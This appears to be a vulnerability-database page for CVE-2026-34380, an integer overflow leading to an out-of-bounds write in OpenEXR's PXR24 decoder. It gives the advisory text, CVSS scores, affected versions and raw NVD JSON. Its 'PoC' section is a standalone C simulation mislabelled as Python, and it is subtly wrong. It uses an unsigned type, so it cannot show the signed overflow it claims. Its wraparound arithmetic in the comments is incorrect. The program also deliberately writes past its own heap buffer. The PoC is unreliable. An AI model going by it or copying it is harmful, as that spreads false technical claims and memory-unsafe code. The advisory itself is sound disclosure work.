Security Vulnerability Report
中文
CVE-2026-34380 CVSS 5.9 MEDIUM

CVE-2026-34380

Published: 2026-04-06 16:16:35
Last Modified: 2026-04-07 19:03:09

Description

OpenEXR provides the specification and reference implementation of the EXR file format, an image storage format for the motion picture industry. From 3.2.0 to before 3.2.7, 3.3.9, and 3.4.9, a signed integer overflow exists in undo_pxr24_impl() in src/lib/OpenEXRCore/internal_pxr24.c at line 377. The expression (uint64_t)(w * 3) computes w * 3 as a signed 32-bit integer before casting to uint64_t. When w is large, this multiplication constitutes undefined behavior under the C standard. On tested builds (clang/gcc without sanitizers), two's-complement wraparound commonly occurs, and for specific values of w the wrapped result is a small positive integer, which may allow the subsequent bounds check to pass incorrectly. If the check is bypassed, the decoding loop proceeds to write pixel data through dout, potentially extending far beyond the allocated output buffer. This vulnerability is fixed in 3.2.7, 3.3.9, and 3.4.9.

CVSS Details

CVSS Score
5.9
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:L/A:H

Configurations (Affected Products)

cpe:2.3:a:openexr:openexr:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:openexr:openexr:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:openexr:openexr:*:*:*:*:*:*:*:* - VULNERABLE
OpenEXR 3.2.0 至 3.2.7 之前
OpenEXR 3.3.0 至 3.3.9 之前
OpenEXR 3.4.0 至 3.4.9 之前

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#include <stdio.h> #include <stdint.h> #include <stdlib.h> // Simulate the vulnerable logic in OpenEXR void simulate_vulnerability(uint32_t w) { // Vulnerable expression: (uint64_t)(w * 3) // The multiplication happens in 32-bit signed integer scope uint64_t calculated_size = (uint64_t)(w * 3); printf("Input width (w): %u\n", w); printf("Calculated size (w*3 cast): %lu\n", calculated_size); // Bounds check based on the wrapped (incorrect) value if (calculated_size < 1024) { printf("[+] Bounds check PASSED. Allocating buffer...\n"); char *buffer = (char *)malloc(calculated_size); if (!buffer) return; // The loop uses the original 'w', which is huge printf("[!] Writing data based on original 'w'...\n"); for (uint32_t i = 0; i < w; i++) { // This write will exceed the allocated buffer (Heap Overflow) if (i < 5) printf(" Writing byte %u...\n", i); buffer[i] = 0x41; } free(buffer); } else { printf("[-] Bounds check FAILED.\n"); } } int main() { // Example value where (w * 3) wraps to a small positive integer (e.g., 100) // 4294967296 + 100 = 4294967396 // 4294967396 / 3 = 1431655798 uint32_t malicious_w = 1431655798; simulate_vulnerability(malicious_w); return 0; }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-34380", "sourceIdentifier": "[email protected]", "published": "2026-04-06T16:16:35.400", "lastModified": "2026-04-07T19:03:08.897", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "OpenEXR provides the specification and reference implementation of the EXR file format, an image storage format for the motion picture industry. From 3.2.0 to before 3.2.7, 3.3.9, and 3.4.9, a signed integer overflow exists in undo_pxr24_impl() in src/lib/OpenEXRCore/internal_pxr24.c at line 377. The expression (uint64_t)(w * 3) computes w * 3 as a signed 32-bit integer before casting to uint64_t. When w is large, this multiplication constitutes undefined behavior under the C standard. On tested builds (clang/gcc without sanitizers), two's-complement wraparound commonly occurs, and for specific values of w the wrapped result is a small positive integer, which may allow the subsequent bounds check to pass incorrectly. If the check is bypassed, the decoding loop proceeds to write pixel data through dout, potentially extending far beyond the allocated output buffer. This vulnerability is fixed in 3.2.7, 3.3.9, and 3.4.9."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:L/A:H", "baseScore": 5.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.6, "impactScore": 4.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-190"}, {"lang": "en", "value": "CWE-787"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:openexr:openexr:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.2.0", "versionEndExcluding": "3.2.7", "matchCriteriaId": "4E7AA082-2647-4AAD-9902-1E3873882A3D"}, {"vulnerable": true, "criteria": "cpe:2.3:a:openexr:openexr:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.3.0", "versionEndExcluding": "3.3.9", "matchCriteriaId": "E8321A2E-759A-4B1E-9AAF-0204791F4323"}, {"vulnerable": true, "criteria": "cpe:2.3:a:openexr:openexr:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.4.0", "versionEndExcluding": "3.4.9", "matchCriteriaId": "94F2D271-636B-4E9E-A04B-40E635A59117"}]}]}], "references": [{"url": "https://github.com/AcademySoftwareFoundation/openexr/releases/tag/v3.2.7", "source": "[email protected]", "tags": ["Product", "Release Notes"]}, {"url": "https://github.com/AcademySoftwareFoundation/openexr/releases/tag/v3.3.9", "source": "[email protected]", "tags": ["Product", "Release Notes"]}, {"url": "https://github.com/AcademySoftwareFoundation/openexr/releases/tag/v3.4.9", "source": "[email protected]", "tags": ["Product", "Release Notes"]}, {"url": "https://github.com/AcademySoftwareFoundation/openexr/security/advisories/GHSA-q3v8-hw4m-59w5", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}